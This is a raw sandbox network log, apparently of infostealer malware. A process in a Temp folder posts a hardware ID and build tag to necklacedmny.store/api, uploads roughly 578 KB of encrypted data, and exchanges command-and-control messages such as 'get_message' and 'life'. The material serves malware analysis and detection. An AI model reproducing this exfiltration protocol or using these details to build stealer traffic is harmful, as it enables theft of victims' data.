(X6K~`iO\_,mi`m?ls}Qm
2024-11-01 11:14:51 UTC	1021	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 11:14:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=siel804f8or6tc450rm3h10iem; expires=Tue, 25-Feb-2025 05:01:30 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=5MgczYkZ%2BzKq8rW3%2F3efAd5ujojKK%2FvttyF8fcuuwAu6GTWhap2pkdTmY8OtSIPzDOE87htAmBA2XFzHoVMX8jAE3j%2FXd5yH3rz0InVmulr3vxQTnccjs0AS%2Fukc7sQfqd8GrX4%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8dbb76ad69216b3f-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1328&sent=18&recv=26&lost=0&retrans=0&sent_bytes=2845&recv_bytes=21370&delivery_rate=2925252&cwnd=245&unsent_bytes=0&cid=02a6bc189f0cd996&ts=715&x=0"
2024-11-01 11:14:51 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 38 32 0d 0a Data Ascii: 11ok 173.254.250.82
2024-11-01 11:14:51 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.7	49992	188.114.97.3	443	5640	C:\Users\user\AppData\Local\Temp\1003156001\6c1c4a36e1.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-01 11:14:54 UTC	283	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1262 Host: necklacedmny.store
2024-11-01 11:14:54 UTC	1262	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 44 34 41 38 37 31 35 44 33 46 39 33 39 42 44 34 39 46 43 30 36 41 33 37 45 38 44 34 31 32 45 36 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"D4A8715D3F939BD49FC06A37E8D412E6--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-11-01 11:14:55 UTC	1016	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 11:14:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=nrfbepuli6kr38vh7j083bctog; expires=Tue, 25-Feb-2025 05:01:33 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=e3KAmGLzL7LkTfeBsLz8C8B3v55xPinxpQeqelBfpPj7czr7wPyx4RZRLcKnzWz69kM4RESqv7gQsn46ME%2F8Sng%2F9jhQQy6cfvKw%2Bdzp%2FdKzBhy35tM2OZVVTc6NOWuZXt0gxjQ%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8dbb76c42e742cbe-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1112&sent=5&recv=8&lost=0&retrans=0&sent_bytes=2846&recv_bytes=2181&delivery_rate=2529257&cwnd=246&unsent_bytes=0&cid=b017761fa2f9204f&ts=478&x=0"
2024-11-01 11:14:55 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 38 32 0d 0a Data Ascii: 11ok 173.254.250.82
2024-11-01 11:14:55 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.7	50000	188.114.97.3	443	5640	C:\Users\user\AppData\Local\Temp\1003156001\6c1c4a36e1.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-01 11:14:58 UTC	285	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 578355 Host: necklacedmny.store
2024-11-01 11:14:58 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 44 34 41 38 37 31 35 44 33 46 39 33 39 42 44 34 39 46 43 30 36 41 33 37 45 38 44 34 31 32 45 36 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"D4A8715D3F939BD49FC06A37E8D412E6--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-11-01 11:14:58 UTC	15331	OUT	Data Raw: 76 e8 b9 cc ac 51 59 e8 86 51 ad ed 94 40 42 04 35 2d 81 69 da ca c4 c4 85 7c 2a d3 ea 0b 4a 0a 7c 19 9a 2c 86 e8 aa d2 6c cb f1 72 a4 e1 62 73 25 dc e0 4a 93 02 45 5f 99 26 e7 b8 b0 fb 34 89 ac a7 0b 1f 0c 7b 2d 9c e8 b8 59 30 ce c2 c4 2c 25 53 c5 cf bd b5 57 53 f3 e4 ff 38 31 1c 8e b9 45 dc d2 73 cc 81 8e 22 f6 cf b6 5e 44 5d 4f 9c 52 40 f7 12 b4 87 22 5d b0 30 7e 78 e5 9c 3d 20 fb 8f 45 4d 0d bf 7c af e9 a5 b8 7e 22 74 b8 e8 3c 32 b1 24 38 a3 af 5a ab b5 f1 6c f1 f9 d7 1b ab d7 17 ce ff 46 64 88 c7 d8 89 b8 3d e4 fb 42 c0 2e 1d 56 ce 17 64 cc a2 61 dd 3f a1 6c 88 01 f1 7b e0 d1 e6 98 70 a2 e0 2b e2 34 32 f9 6b 00 56 fd 59 e3 33 83 9a cb c6 3c fb ff 77 b7 17 49 03 83 af 9e e0 06 1a 34 91 7f 1f 80 a1 7b a3 99 18 6d 24 0c a7 9a 0f a9 73 67 3b 86 62 00 e3 Data Ascii: vQYQ@B5-i\|*J\|,lrbs%JE_&4{-Y0,%SWS81Es"^D]OR@"]0~x= EM\|~"t<2$8ZlFd=B.Vda?l{p+42kVY3<wI4{m$sg;b
2024-11-01 11:14:58 UTC	15331	OUT	Data Raw: d5 0e 9d 33 17 9d 79 80 0c 08 cb a6 04 21 74 00 2e 5b 93 6b 47 b6 01 9e e9 c1 2b ae f2 18 cc b3 2f 1b a5 13 ea 38 51 9f c7 36 1a 3b 94 c8 ac af 8c b6 e1 20 e2 0f 6f 6f fb b1 6c 9f 1f 9a 09 1b 5f 2d c4 85 85 57 5c 4a 91 b7 4b a4 04 45 fa d3 83 39 f6 75 c1 03 93 c6 d6 82 ab 8f 66 e0 5b fe 22 59 d4 0d a9 a5 dd 0b df 35 dd 60 c8 52 39 ef c2 e8 95 46 72 a9 fc 43 17 51 4d d9 59 3d 8c 9a d5 d3 ef bf 04 1c 19 d2 ba c6 ab ae 5c 6c 52 1c 16 3d 38 c4 8a d8 a8 1c ad ac bc 38 32 ee ce fa 3b 09 22 67 8f 62 53 9d 67 8e 53 c6 8f 06 2e 77 59 57 4e 54 c9 9a 9c 72 f8 5e d7 ed b4 3b bb 72 2b 1a 4e ad 95 a5 24 a1 40 bc a9 67 5b f5 91 21 86 3c 2f 74 be 9b 3e 8c 86 f5 32 83 65 00 2b 07 db d9 e7 d3 6f 8f 03 0c 33 1c 12 3a bc c2 03 7b 55 60 83 74 13 0e 44 1b 7d 59 b8 0c 58 24 24 Data Ascii: 3y!t.[kG+/8Q6; ool_-W\JKE9uf["Y5`R9FrCQMY=\lR=882;"gbSgS.wYWNTr^;r+N$@g[!</t>2e+o3:{U`tD}YX$$
2024-11-01 11:14:58 UTC	15331	OUT	Data Raw: 31 ba 67 48 69 88 c5 1e e3 07 77 d8 6b 49 4b 48 11 d1 45 3b 17 fc ea d5 b6 38 42 bc 0a 49 19 bc 83 2c 86 d3 ca 51 ca 47 dc e5 c0 1f d5 46 b7 99 e4 f2 bf a0 f4 bd eb 25 6a eb 3e 60 37 b2 05 fb a6 44 9a de d2 00 31 3f f9 c9 9f 3c e8 7f 9f 90 68 d1 15 51 3e d3 43 bb 0e 6f 65 71 3d 1c db a3 40 5c 3a 88 cd a2 a9 03 84 f0 9d ef 7a 4d 2d b0 84 45 9d 40 89 98 c5 84 43 c1 5d 25 80 f2 56 43 42 c0 98 dc 32 04 9e 5b 1d 02 a4 30 1c 04 a2 02 86 16 c7 06 25 48 89 a7 f0 f8 97 3b af 2f df 0a dc 0c 9a a7 0f b1 ac e0 87 9b 9d 73 b9 91 ba da 42 68 7f fd 92 6c e1 a9 e4 bf 89 6a c9 ff fa fa 5e 5a f2 ab 29 07 0f 28 fc 4c bf 0e 9d e0 ca 6b 39 b9 67 8f 7d 2b 85 be 19 2d 2e a5 a7 27 1a 97 5a c9 2d 13 e7 de 9e 8c 75 72 a4 1d fb 74 e0 87 04 14 1d 3d 17 dc 14 5f f5 88 5d c5 fc 3e c8 Data Ascii: 1gHiwkIKHE;8BI,QGF%j>`7D1?<hQ>Coeq=@\:zM-E@C]%VCB2[0%H;/sBhlj^Z)(Lk9g}+-.'Z-urt=_]>
2024-11-01 11:14:58 UTC	15331	OUT	Data Raw: 38 30 6d 3e 49 3e 16 2c 02 ef 6d 54 0b a3 ec 3b 30 f3 87 71 d0 2c 2b 22 7e e8 7e be 21 df a8 70 95 ad 76 ce fc a9 e1 0c 5d 3e 0f 1f 35 99 28 de e5 bc 76 d5 c3 3b da b8 00 94 5f c3 e1 a4 4b 7a 38 f9 c9 ad b6 5f d9 4b ec 62 dc 91 39 6f 07 fb 48 c2 6f ae 76 08 43 14 66 13 a9 5c 39 98 59 a4 96 fd 54 9c 4c e0 da 8c 3b 71 91 0a 85 55 e7 6d 7a 23 11 f3 f1 ff 6a 74 e5 a8 e0 ff ac d7 ff f7 b2 57 14 8c 7d 47 a4 60 81 f6 2f 05 c6 14 e8 c0 72 eb 8c 92 ac 4a 1d 6e 1d ce c3 39 2c 80 5b d7 ba b9 f0 ea 09 c8 80 7f 26 00 e4 84 c2 0c df 5b 2e d1 e1 a3 9e 09 c3 3a 11 b3 aa 2b 1b 9e 3e b8 97 76 f2 1a 2e 54 49 31 ca 5f 72 81 5b 73 a1 b8 b6 13 c5 35 34 a3 fe 9e 07 82 3a 39 73 3e 1f 19 e9 49 86 1b 78 cc a2 32 f8 8c 0c 63 99 17 13 89 d5 11 45 00 d2 dd 9b e0 62 b7 35 67 ab f8 50 Data Ascii: 80m>I>,mT;0q,+"~~!pv]>5(v;_Kz8_Kb9oHovCf\9YTL;qUmz#jtW}G`/rJn9,[&[.:+>v.TI1_r[s54:9s>Ix2cEb5gP
2024-11-01 11:14:58 UTC	15331	OUT	Data Raw: 19 77 1b e8 4b 7c 64 89 8e 73 3d 02 86 55 c5 76 90 76 57 86 ad f9 08 ae 02 b7 ce 37 ce db 4d de af 46 aa e1 c0 d8 1e 50 24 c5 ee a2 f2 32 c2 ee be 5d 69 d6 cb d1 2b f3 92 f2 be 3d 10 e2 6e 5b 6a d0 59 e6 dd 9b 33 37 10 32 0c 00 9e e5 69 b5 7f 52 f8 f9 71 1b 7d 9e 86 48 6a d0 9a d1 80 52 5e 0b f3 4b 65 87 8a 90 ec f8 17 cb 1b 3b 3e fa 3c 60 b1 d1 14 d8 a8 69 c1 9f a4 cd 6b 18 77 ed fb ae 6c d3 b7 dc f1 3f 78 d6 4b 28 92 d1 ac fb 1b 0b ca 7e 49 37 51 6a d4 f0 a0 f7 9a 14 cf 8a 41 61 ba a0 29 b1 e1 fd 5e a2 b3 92 e0 f0 1d 30 76 24 f2 bd 69 87 0a 26 5f 16 e7 38 b6 35 49 7b 8f 21 2a ff c0 20 b2 9c 37 9a c2 bc 37 bd bb 84 ba f3 30 3b 4b 1f 9c 88 de 46 38 83 58 b4 8d 87 3b 22 c9 08 20 a7 77 d3 7a b5 b7 94 67 e0 ea cf 72 df bd 0d af af 49 42 0d 7a 21 ad 5b 9d e4 Data Ascii: wK\|ds=UvvW7MFP$2]i+=n[jY372iRq}HjR^Ke;><`ikwl?xK(~I7QjAa)^0v$i&_85I{!* 770;KF8X;" wzgrIBz![
2024-11-01 11:14:58 UTC	15331	OUT	Data Raw: d2 5a 6b 6c 79 2e d9 69 94 44 34 cb 88 65 c0 b1 84 35 b9 a1 1f 57 5c 15 a0 17 4f ed 54 32 5b 56 4a 4e b8 99 5b c6 46 18 e7 7a d7 fa 88 5f 96 bd 2a 84 53 71 dd 36 13 d1 84 d6 43 cc 52 4c 37 8a c2 34 c1 c2 8e af c3 e7 25 f6 4c a1 90 b7 92 9e 30 f4 a2 c0 22 7c 7b 09 80 b0 b6 07 62 84 8f 24 4b 81 f3 e3 b9 a2 75 f2 e2 b7 d4 ed d7 bc ff 2e 8a 8e ad 09 76 15 90 fe 65 4c 25 52 14 f0 87 f5 87 93 0f b8 5a 05 07 ce 66 60 e1 ce e6 5c 4d 26 f7 ee 9d b1 22 f1 10 d9 1e f1 fb b0 c7 e3 78 0e 8f 68 9c 0a d1 c5 36 9e 27 31 95 8c 00 c4 17 fb 64 ff ec dc 66 b3 1d fd 9b 1e 28 0a ff fa 55 0e 74 87 62 ca 4f 01 b6 0d 1e a0 67 6b 1c ae 01 82 bd 54 d7 eb c2 6a c3 8a d9 8a a9 6c f5 c2 ca 83 15 7c 1e 07 49 e3 25 ad a6 0a 55 eb a3 4f b7 84 df f2 66 03 48 d9 a8 ed 51 6a 91 90 8d 8a 74 Data Ascii: Zkly.iD4e5W\OT2[VJN[Fz_*Sq6CRL74%L0"\|{b$Ku.veL%RZf`\M&"xh6'1df(UtbOgkTjl\|I%UOfHQjt
2024-11-01 11:14:58 UTC	15331	OUT	Data Raw: ca c4 3d a2 ae 3b fd 9b 5f d4 60 62 61 04 0c ab 37 3a 17 8e 3b a1 b4 d1 2f 27 b7 fa cf 53 f8 c6 4f d9 08 16 e0 1f 83 63 b8 e7 1c b6 7a 1a d5 ad 94 1f 08 82 4f 0e c5 c4 45 44 f6 b8 ed 10 ba 66 5c 92 a4 1a 98 c4 14 94 51 03 be 0a 01 f3 3d db cc cf 2a 97 09 48 f2 b7 4c b3 ae b7 4e 3a 5d 27 79 b3 b5 87 bc 43 7f 9e 7c 62 9c 5a fa 21 fc f8 3b 1a da 73 b1 88 bc c0 3b bd 3d 66 71 6f 69 f2 b3 32 77 7b e8 3e f7 d7 f9 fe ba fb 4f 92 bc c8 ef 76 c1 6f 81 b8 29 b3 5d 1d a6 f3 c7 18 06 73 87 f6 9b ec 07 68 e6 f0 13 92 f2 d0 c8 31 b3 f7 3e 1b 3e 4b b4 1e c0 05 f0 80 af b4 39 f2 1c e6 9d bb 70 b4 1b a0 e7 1e bc f1 10 bf 1d bd dc cb db ab c2 0f 1f 56 d4 30 85 45 a1 5d f8 f7 09 e9 bf c9 a7 f4 b3 36 c4 ed ae 16 24 31 49 d7 fb c8 1f d3 37 0b 87 75 77 da 7b 18 25 eb d7 88 47 Data Ascii: =;_`ba7:;/'SOczOEDf\Q=*HLN:]'yC\|bZ!;s;=fqoi2w{>Ovo)]sh1>>K9pV0E]6$1I7uw{%G
2024-11-01 11:14:58 UTC	15331	OUT	Data Raw: 30 5f 29 f1 49 13 bc a6 48 69 32 a1 c6 16 29 9b 06 37 4b 62 4b ac f0 ff 25 d2 67 83 38 a5 cb 7f 1e 52 24 39 c3 c1 5b c5 6d 16 1a c1 15 74 c1 22 e6 32 2e 71 fb a2 32 6e 8c 2e bf 3e 11 fe 66 29 97 5a 15 7e c5 16 c7 8c 97 a3 6e ba e0 93 60 ba b0 b6 4d b2 3c 46 2c 80 78 1b f8 7c 4b 38 16 c9 07 6d f0 ce 22 4b 0f 1a af 2a 0f 72 9b b4 c7 58 b7 6f 35 9e aa c7 2d 98 23 62 d5 51 d9 30 7c 30 10 13 d2 38 43 40 7f 50 f1 e2 1e cd 7f 9c 35 20 cd 90 44 5c 5a 2d 6e ba 29 b7 7d 74 39 21 9e 5a bd b7 0d 76 18 a4 b6 e3 8b ea 27 ac 65 5b 60 d8 24 c8 67 b6 f8 8e 76 ea 02 dd 69 cb e3 69 cc c0 57 b0 6b bc eb 49 f4 eb 16 ad 9c 9c 85 b3 cd d9 d2 77 24 33 a9 a1 87 07 a3 0d 59 63 26 f4 1c 53 05 a6 c3 6e dc db c9 ed ab 0e 4b 92 ba c7 ed 87 3d 85 cd a6 e5 df 2f 0f ff e0 e0 0b 99 22 a0 Data Ascii: 0_)IHi2)7KbK%g8R$9[mt"2.q2n.>f)Z~n`M<F,x\|K8m"K*rXo5-#bQ0\|08C@P5 D\Z-n)}t9!Zv'e[`$gviiWkIw$3Yc&SnK=/"
2024-11-01 11:14:58 UTC	15331	OUT	Data Raw: 9b 79 aa 12 89 aa 5a f3 39 b3 25 1d 3e 33 a5 7e 74 b0 a7 71 f6 63 6b 7b d5 ca 46 a6 6e ba e5 15 30 37 2f b5 f9 84 48 9c 61 19 2d 5b 3b 73 01 db b9 52 ad d1 0f c9 11 28 cb 65 77 e7 b0 fd 39 ec 87 e2 cf df ec 09 49 09 6a 5c f4 96 1d 7f 30 1b b9 64 d7 87 1e 34 78 a8 9e 75 68 a7 75 9f b3 35 9c cd 66 7e 63 1f ac 9a ce b7 fc c7 b2 0c dd 2d 53 54 ec f6 e4 59 66 75 de 0d 92 8d ce e0 37 09 c5 73 1a 0d ee da 88 58 a6 aa ea 5e 9e 1a 83 63 54 9e 7f 60 81 f7 ae d3 74 2b 9f c1 74 73 75 d0 1c 9f 80 86 2d 45 18 a5 84 09 9a a0 0f c6 0d b0 ca 06 a2 87 1f b4 12 25 5b de 02 0f 76 ca 4f e6 38 13 84 2a c8 a0 c1 5f 9f 8e cd 83 a2 da ab 60 7e 5e 4d dd a1 4b e8 8f a8 cb be 4f c3 41 1c 1d 1a a5 de 60 36 c6 54 bf 0d 71 25 52 b1 35 bf 2b 31 f8 50 6f 9d 90 fb 43 c5 64 f4 e0 0d 66 b7 Data Ascii: yZ9%>3~tqck{Fn07/Ha-[;sR(ew9Ij\0d4xuhu5f~c-STYfu7sX^cT`t+tsu-E%[vO8*_`~^MKOA`6Tq%R5+1PoCdf
2024-11-01 11:15:00 UTC	1025	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 11:15:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=dbfrcdl8jtrdnol48bjrfactmh; expires=Tue, 25-Feb-2025 05:01:39 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=RJfQSg7HoyIHFst4A6cNgDLb%2BYDlq0GILPesR3MdIVoxRcP%2FtLPA%2B7Z37%2Bm2rXnIil2cT0DKseNmq2wP2%2BnLokigs6Q0aPtQl2YJf1EWRfhnaREHvCbiy8OSoYDDuG0MQ74X0U4%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8dbb76dc987447a8-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1631&sent=231&recv=632&lost=0&retrans=0&sent_bytes=2845&recv_bytes=580926&delivery_rate=1787654&cwnd=251&unsent_bytes=0&cid=f0fa55bbd63bf083&ts=1811&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.7	50004	188.114.97.3	443	5640	C:\Users\user\AppData\Local\Temp\1003156001\6c1c4a36e1.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-01 11:15:02 UTC	266	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 87 Host: necklacedmny.store
2024-11-01 11:15:02 UTC	87	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e 64 61 72 79 79 26 6a 3d 26 68 77 69 64 3d 44 34 41 38 37 31 35 44 33 46 39 33 39 42 44 34 39 46 43 30 36 41 33 37 45 38 44 34 31 32 45 36 Data Ascii: act=get_message&ver=4.0&lid=4SD0y4--legendaryy&j=&hwid=D4A8715D3F939BD49FC06A37E8D412E6
2024-11-01 11:15:02 UTC	1011	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 11:15:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=ik1bub51uf5eob6p7p3mj20fqt; expires=Tue, 25-Feb-2025 05:01:41 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=TWNEQCDGVraMxyrURgAUzEuKvCadvmPI68ZVfs2WYENuRYCqzlqlfzGh%2FCYkK8ybfMojTZobUWLrD5HUAboIJ6zO1u%2BlHxi7n0DrXnkKRIzLH1XEPMuNiLQS59dFT1ZC40GP8BE%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8dbb76f36a88285d-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1273&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2846&recv_bytes=989&delivery_rate=2207317&cwnd=251&unsent_bytes=0&cid=493f5b7a7f0e31dd&ts=499&x=0"
2024-11-01 11:15:02 UTC	214	IN	Data Raw: 64 30 0d 0a 6b 55 54 6b 4a 51 64 4a 6d 62 73 43 49 32 6e 50 78 73 52 73 34 30 7a 4a 50 48 30 6e 6f 64 6a 31 4c 62 77 2b 43 72 75 70 44 7a 4c 4b 50 38 5a 51 4a 58 4f 37 30 33 5a 58 47 66 57 61 36 7a 44 4d 66 66 45 4a 55 78 57 51 37 64 73 63 6a 51 30 6b 69 70 39 54 48 66 34 69 67 6e 6b 6f 4c 66 7a 64 4c 45 59 52 71 75 54 6f 54 6f 55 34 36 77 5a 4e 43 34 4f 39 31 78 65 4d 51 79 62 41 69 33 6f 51 71 32 61 4d 55 58 4d 35 6f 2b 63 74 66 30 62 2b 2f 76 46 43 30 58 33 38 45 6b 77 57 6b 76 62 45 47 2b 41 52 5a 39 4c 48 61 6d 36 2b 4e 6f 56 4c 59 79 62 30 6c 57 64 62 44 4f 33 71 35 67 71 58 62 76 4d 4d 55 51 58 45 2b 73 38 64 77 57 4d 3d 0d 0a Data Ascii: d0kUTkJQdJmbsCI2nPxsRs40zJPH0nodj1Lbw+CrupDzLKP8ZQJXO703ZXGfWa6zDMffEJUxWQ7dscjQ0kip9THf4ignkoLfzdLEYRquToToU46wZNC4O91xeMQybAi3oQq2aMUXM5o+ctf0b+/vFC0X38EkwWkvbEG+ARZ9LHam6+NoVLYyb0lWdbDO3q5gqXbvMMUQXE+s8dwWM=
2024-11-01 11:15:02 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.7	50012	188.114.97.3	443	8108	C:\Users\user\AppData\Local\Temp\1003156001\6c1c4a36e1.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-01 11:15:05 UTC	265	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: necklacedmny.store
2024-11-01 11:15:05 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-11-01 11:15:05 UTC	1013	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 11:15:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=fca1r5uu52vqc8mbgu0uqo1hm5; expires=Tue, 25-Feb-2025 05:01:44 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=CbTyQYkWsmxS4qTj%2BA7x7rPS2rMaHe9ZplKRK10G%2B2PAZqRX9K9LY9TLZ9nJpW1Vsg0ICUA78nJvo4crWYXb8wFE1zY2m%2BphWsrYiH2usllYxq9eJWmreZtjXP1GOMNGNigK1zg%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8dbb77064feca916-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1493&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2845&recv_bytes=909&delivery_rate=1896529&cwnd=141&unsent_bytes=0&cid=e78dcde33020ada1&ts=591&x=0"
2024-11-01 11:15:05 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-11-01 11:15:05 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.7	50019	188.114.97.3	443	8108	C:\Users\user\AppData\Local\Temp\1003156001\6c1c4a36e1.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-01 11:15:06 UTC	266	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 52 Host: necklacedmny.store
2024-11-01 11:15:06 UTC	52	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e 64 61 72 79 79 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=4SD0y4--legendaryy&j=
